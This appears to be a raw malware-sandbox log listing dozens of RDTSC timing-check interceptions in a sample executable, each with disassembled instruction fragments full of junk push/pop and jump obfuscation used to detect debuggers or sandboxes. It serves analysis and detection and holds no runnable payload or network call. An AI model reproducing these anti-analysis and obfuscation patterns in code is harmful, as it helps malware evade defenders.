Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D8762D second address: D87654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F5958F82B67h 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F5958F82B5Fh 0x00000015 jo 00007F5958F82B5Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D8C27B second address: D8C27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D8C27F second address: D8C28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D97657 second address: D9766F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B73h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D9766F second address: D97676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D977EB second address: D977F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DA66A2 second address: DA66A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DA66A7 second address: DA66AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DAB8E1 second address: DAB902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B61h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F5958F82B56h 0x0000000f jp 00007F5958F82B56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DAB902 second address: DAB912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DADCBE second address: DADD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B68h 0x00000009 jc 00007F5958F82B58h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F5958F82B5Dh 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop eax 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DADD00 second address: DADD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DADD04 second address: DADD0C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB462D second address: DB4642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007F5959240B6Eh 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB4642 second address: DB464C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5958F82B5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB4788 second address: DB4790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB4790 second address: DB47BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F5958F82B75h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB5746 second address: DB575A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F5959240B6Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB575A second address: DB5760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB5760 second address: DB5764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB5764 second address: DB576F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB9E23 second address: DB9E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB9E29 second address: DB9E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB9E2D second address: DB9E62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F5959240B70h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F5959240B7Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DB9E62 second address: DB9E7C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F5958F82B65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD4B9A second address: DD4BA4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5959240B66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD4A31 second address: DD4A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD4A35 second address: DD4A45 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5959240B66h 0x00000008 jc 00007F5959240B66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD4A45 second address: DD4A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD697F second address: DD69A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F5959240B75h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD6556 second address: DD6564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F5958F82B56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD6564 second address: DD656A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD6689 second address: DD668F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD668F second address: DD6695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DD9C48 second address: DD9C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007F5958F82B56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DED47D second address: DED487 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5959240B66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DED632 second address: DED636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DF21D0 second address: DF21D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DF21D4 second address: DF221F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F5958F82B58h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 cld 0x00000024 sbb dx, 5402h 0x00000029 push 00000004h 0x0000002b push ebx 0x0000002c movzx edx, si 0x0000002f pop edx 0x00000030 mov dl, ch 0x00000032 push 78C880E6h 0x00000037 push eax 0x00000038 push edx 0x00000039 jnc 00007F5958F82B5Ch 0x0000003f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DF4E99 second address: DF4EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5959240B66h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5959240B72h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: DF4EBA second address: DF4ED0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5958F82B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jg 00007F5958F82B56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D16165 second address: D16171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D16171 second address: D16175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D16175 second address: D16179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6067B second address: 4F606CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov bl, 01h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ecx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F5958F82B64h 0x00000014 and si, B518h 0x00000019 jmp 00007F5958F82B5Bh 0x0000001e popfd 0x0000001f jmp 00007F5958F82B68h 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606CF second address: 4F606D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606D3 second address: 4F606D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606D7 second address: 4F606DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606DD second address: 4F606E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606E3 second address: 4F606E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F606E7 second address: 4F6070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5958F82B68h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6070A second address: 4F60710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60710 second address: 4F6078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F5958F82B69h 0x0000000e lea eax, dword ptr [ebp-04h] 0x00000011 pushad 0x00000012 mov bx, si 0x00000015 pushad 0x00000016 mov esi, 78AFB875h 0x0000001b mov bx, si 0x0000001e popad 0x0000001f popad 0x00000020 nop 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007F5958F82B5Fh 0x00000028 popad 0x00000029 pushfd 0x0000002a jmp 00007F5958F82B68h 0x0000002f or al, 00000028h 0x00000032 jmp 00007F5958F82B5Bh 0x00000037 popfd 0x00000038 popad 0x00000039 push eax 0x0000003a pushad 0x0000003b push ebx 0x0000003c mov esi, 48BEECB1h 0x00000041 pop esi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6078B second address: 4F607F5 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5959240B78h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F5959240B71h 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F5959240B73h 0x0000001d or ch, 0000002Eh 0x00000020 jmp 00007F5959240B79h 0x00000025 popfd 0x00000026 mov ah, 76h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F60888 second address: 4F608D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007F5958F82B66h 0x00000010 je 00007F5958F82BC7h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F5958F82B5Dh 0x0000001f jmp 00007F5958F82B5Bh 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F608D4 second address: 4F608D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F608D9 second address: 4F608EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5958F82B62h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F6091C second address: 4F50010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, esi 0x0000000c jmp 00007F5959240B6Fh 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F5959240B74h 0x00000018 movzx esi, dx 0x0000001b popad 0x0000001c leave 0x0000001d jmp 00007F5959240B6Dh 0x00000022 retn 0004h 0x00000025 nop 0x00000026 sub esp, 04h 0x00000029 xor ebx, ebx 0x0000002b cmp eax, 00000000h 0x0000002e je 00007F5959240CCAh 0x00000034 mov dword ptr [esp], 0000000Dh 0x0000003b call 00007F595D64CD01h 0x00000040 mov edi, edi 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F5959240B6Ah 0x0000004b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50010 second address: 4F5001F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5001F second address: 4F5008C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5959240B6Eh 0x0000000f push eax 0x00000010 jmp 00007F5959240B6Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F5959240B6Bh 0x0000001f sub eax, 7DC32C1Eh 0x00000025 jmp 00007F5959240B79h 0x0000002a popfd 0x0000002b mov si, C1E7h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5008C second address: 4F50092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50092 second address: 4F50096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5029D second address: 4F502BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F502BB second address: 4F502BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F502BF second address: 4F502D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5034D second address: 4F50351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50351 second address: 4F50357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50357 second address: 4F50373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50373 second address: 4F50377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50377 second address: 4F5037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5037B second address: 4F50381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50381 second address: 4F503A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5959240B6Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F503A8 second address: 4F503AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F503AE second address: 4F503B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5051A second address: 4F5051F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F5051F second address: 4F50530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50530 second address: 4F505EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e pushad 0x0000000f mov si, 49B3h 0x00000013 mov di, cx 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007F5958F82B62h 0x0000001d push eax 0x0000001e jmp 00007F5958F82B5Bh 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 jmp 00007F5958F82B64h 0x0000002a mov ah, F0h 0x0000002c popad 0x0000002d push esp 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F5958F82B68h 0x00000035 sub ax, A878h 0x0000003a jmp 00007F5958F82B5Bh 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007F5958F82B68h 0x00000046 and eax, 6D7CC2D8h 0x0000004c jmp 00007F5958F82B5Bh 0x00000051 popfd 0x00000052 popad 0x00000053 mov dword ptr [esp], eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F505EC second address: 4F505F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F505F0 second address: 4F505F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F505F6 second address: 4F50619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b jmp 00007F5959240B6Ch 0x00000010 mov dword ptr [esp], ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, A880h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F50619 second address: 4F5061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F4072B second address: 4F40768 instructions: 0x00000000 rdtsc 0x00000002 mov si, 4A9Dh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ch, F3h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F5959240B71h 0x00000015 sbb cx, A5E6h 0x0000001a jmp 00007F5959240B71h 0x0000001f popfd 0x00000020 mov cx, E817h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F40768 second address: 4F40780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F40780 second address: 4F40784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F40784 second address: 4F40797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: 4F40797 second address: 4F407AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B74h 0x00000009 rdtsc
